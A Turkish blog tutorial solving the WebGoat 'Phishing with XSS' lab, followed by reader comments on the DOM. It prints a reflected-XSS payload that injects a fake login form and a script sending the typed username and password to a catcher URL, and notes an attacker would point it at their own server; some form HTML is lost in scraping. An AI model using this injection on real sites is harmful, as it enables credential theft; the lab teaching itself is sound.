Ders 29 - Cross-Site Scripting (XSS) > Phishing with XSS
Cross-Site Scripting (XSS) ünitesinin ilk dersi olan Phishing with XSS(XSS ile Yemleme) dersinde Reflected XSS(Yansıtılmış XSS) saldırısının ne kadar tehlikeli olabileceğinden bahsedilecektir.

Dersin Hedefi

Kullanıcı olarak siz ders ekranına kullanıcı adı ve şifre soran bir form ekleyebilmelisiniz. Form submit'lendiğinde kullanıcı adı ve şifre bilgileri http://localhost/WebGoat/catcher?PROPERTY=yes&user=catchedUserName&password=catchedPasswordName adresine gitmelidir.

Açıklamalar

Bu dersin başında bahsedilen reflected XSS saldırısı bir XSS saldırısı türüdür. XSS saldırıları ikiye ayrılmaktadır: Birincisi Stored XSS(Depolanmış XSS) saldırısıdır, ikincisi ise Reflected XSS(Yansıtılmış XSS) saldırısıdır. Bu ikisi hakkında detaylı bilgiyi Ders 18'in Açıklamalar başlığı altında bulabilirsiniz.

Kullanıcıdan gelen input değerlerinin her daim sunucu tarafında denetime tabi tutulması iyi bir uygulama örneğidir. XSS saldırısı, yani Cross Site Scripting saldırısı HTTP yanıtlarında denetlenmemiş kullanıcı input'ları kullanıldığında meydana gelir. XSS ile phishing saldırısı, yani yemleme saldırısı gerçekleştirebilirsiniz. Phishing saldırısı Password, Harvesting ve Fishing kelimelerinin birleşiminden oluşturulmuş bir tabirdir. Bu saldırı türü ile kötü niyetli kişi kurban kişiyi kandırmaya ve verilerini çalmaya çalışır. Bunun için orijinal bir bankacılık sitesinin sahtesini(kopyasını) yapabilir ve banka hesap bilgilerini kurbandan çalabilir, email ile mesela bir bankadan gönderiliyormuş gibi süslü bir posta kurbana gönderir ve kurbandan kullanıcı bilgilerini isteyebilir ya da XSS açığına sahip bir web sitesinin belli bir kısmına bu derste olduğu gibi bir form ekleyerek kullanıcının orjinal site içerisinde olan bu sahte forma bilgi girmesini bekleyebilir. Yani nasıl bir balıkçı balığı tutabilmek için kancasının üzerine balığın yiyebileceği yemi koyarak bir balığı tongaya düşürüp ağzını kancaya takmasını bekliyorsa phishing saldırısı da bu mantalitede çalışan, kurbanın kancaya takılmasını bekleyen bir saldırı türüdür.

Bu derste XSS açığından faydalanarak orijinal web sayfasına(ders ekranına) bir form eklemesinde bulunacağız. Böylesi bir saldırıda web sitesi orijinal olduğu için saldırının kurban tarafından anlaşılması çok zordur. Bu yüzden web sitesi geliştiricilerinin bu saldırı türünü dikkate alması ve sunucu tarafında kullanıcı girdilerini denetime tabi tutması elzemdir.

Dersin Çözümü

XSS ile varolan bir sayfaya yeni içerik eklemek mümkündür. Bu dersin çözümü birleştirilmesi gereken iki parçadan oluşmaktadır:

  • Kurbanın doldurması gereken bir form
  • Formu okuyacak ve girilen bilgileri toplayıp saldırgana gönderecek bir script


Kullanıcı adı ve şifreli bir form aşağıdaki gibi oluşturulabilir:

</form>



This feature requires account login:



Enter Username:

Enter Password:






Yukarıdaki kodun en başındaki form kapatma etiketi olan </form> etiketi ders ekranının <form etiketini kapatmak içindir. Böylece kendi form'umuzu dersin form'undan sonraya ekleyebilmekteyiz. Sırada bu form'a girilen hesap bilgilerinin saldırganın gösterdiği hedefe gönderilmesini sağlayan script kodları vardır:

<script>
   function hack(){ 
      XSSImage=new Image;
      XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.phish.user.value + "&password=" + document.phish.pass.value + ""; 
      alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);
   } 
</script>


Bu script form'daki girilen verileri okuyacak ve gösterilen hedefe verileri gönderecektir.

Son adım script'i ve form'u beraberce birleştirmektir. Fakat son küçük bir şeye daha ihtiyaç vardır. Form'a script'i tetikleyecek bir submit butonu eklemek gerekmektedir. Bunu onclick="myFunction() ile gerçekleştirebiliriz:

 


XSS saldırısı için arama kutusuna gireceğimiz kodun son hali aşağıdaki gibidir:

</form>



This feature requires account login:



Enter Username:

Enter Password:




<script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value); } </script>


Yukarıdaki saldırı kodunu ders ekranında sunulan arama kutusuna yapıştırın ve Search düğmesine tıklayın. Ekrana bir login formu gelecektir.





Bu formdaki kullanıcı adı ve şifre için rasgele şeyler girin. Ardından Login düğmesine tıklayın. Ekrana bir javascript popup'ı gelecektir. Bu popup size bilgilerinizin çalındığını söylecektir. Çünkü yukarıda hazırladığımız script kodunu böyle ayarladık. OK düğmesine basarak dersi tamamlamış olursunuz.

Sonuç
Yukarıda hazırladığımız reflected XSS saldırısı kodunda bir saldırgan girilen bilgilerin gönderileceği hedef olarak kendi sitesini kodlamada belirleyebilir. Böylece kendi sitesindeki web programlama dili ile kendisine gelen kullanıcı adı ve şifreleri veritabanına kaydedebilir. Görünüşte reflected XSS zararsız görünse de aslında bu derste de gördüğümüz üzere çok zararlı bir saldırıdır. Orijinal sitenin içine bir login formunun eklenmesi kurbanı kolaylıkla aldatabilir. Çünkü kurban orijinal web sitesine güveniyor olacaktır. Bu saldırı yönteminden korunmanın yolu kullanıcının veri girebileceği arama kutusu gibi yerlerden gelen veriler sunucu tarafında web programlama dili ile denetlenmelidir. Bu ders ekranındaki arama kutusu web programlama dili ile denetlenseydi kullanıcının girdiği veriyi kabul etmeyip ekrana bir login formu yansıtılmasını önlemiş olacaktı.

Script koduna dikkat ettiyseniz resim kodları kullanılmış. Böyle olmasının bir nedeni var. Resim kodları kullanıcı sayfayı görüntüler görüntülemez sunucuya resmi ver şeklinde otomatik olarak talep gönderen sayılı html kodlarından bir tanesidir.

<script>
   function hack(){ 
      XSSImage=new Image;
      XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.phish.user.value + "&password=" + document.phish.pass.value + ""; 
      alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);
   } 
</script>


Resim kodlarının bu özelliğinden faydalanarak biz resim kodunun resim linki kısmına saldırganın internet adresini girdik ve böylece "resmi bana ver" talebinin yapıldığı sunucuyu değiştirmiş olduk. Ayrıca sunucuya "resmi bana ver" değil de şu "kullanıcı bilgilerini al" şeklinde resim linki yerine farklı bir link koyarak saldırganın sunucusuna girilen kullanıcı adı ve şifreyi göndermiş olduk. Hem de sayfa değiştirilmeden...
Bu yazı 13.09.2015 tarihinde, saat 10:28:13'de yazılmıştır. 23.09.2015 tarihi ve 17:22:47 saatinde ise güncellenmiştir.
Yazar : Hasan Fatih ŞİMŞEK Görüntülenme Sayısı : 924
Yorumlar
Can
Hocam güzel bir çalışma olmuş. Elinize sağlık. Script ile ilgili anlamadığım bir kısım var. Scriptde "document.phish.user.value" kısmı var. Bu kısımdaki phish.user.value'yi tahmin etmek olmaz. user.value yüksek ihtimalle olsa bile phish'i kullanacağımızı nerden anladık? Bu kod web sitesinin içinde barınan bir kod mu? Yani adamlar phish.user.value diye user valuesine ulaşmak için mi kodu yazmışlar? Ayrıca document.phish.user.value input almak için fakat neden bu typeda kullandık. Yani biz sadece girilen inputu elde etmeye çalışıyorduysak herhangi bir değişkenin içine atasaydık olmaz mıydı? Ordaki document.phish.user.value'nin neden kullanıldığını tam çözemedim kısacası.
Bu yorum 08.04.2018 tarihinde, saat 21:29:00'de gönderilmiştir.
Hasan Fatih ŞİMŞEK
Merhaba Can, html'deki içiçelik yapısını ifade etmek için DOM adı verilen bir hiyerarşi diyagramı oluşturulmuştur. Bu diyagramda document nesnesi hiyerarşinin en tepesinde yer alır. Ardından dökümanın içerisine doğru ilerlediğimizde phish nesnesi ise makalede verdiğim kaynak kodda görüldüğü üzere <form tag'ının name değeridir. Yani phish bir form nesnesini temsil etmektedir. Daha sonra gelen user ise <input tag'ının name değeridir. Yani user da bir input nesnesini tesmsil etmektedir. Son olarak value ise bir javascript kodlamasıdır ve belirtilen nesnenin aldığı değeri verir. Dolayısıyla bunları tahmin etmiyorsun. Bunlar zaten elinde. Kaynak koda baktığında html kodları inceleyerek bu bilgileri elde edebiliyorsun.
Bu yorum 27.08.2018 tarihinde, saat 13:32:13'de gönderilmiştir.
Yorum Ekle
*
* (E-posta adresiniz yayınlanmayacaktır.)
*
*

#Arşiv


#Giriş

ID :
Şifre :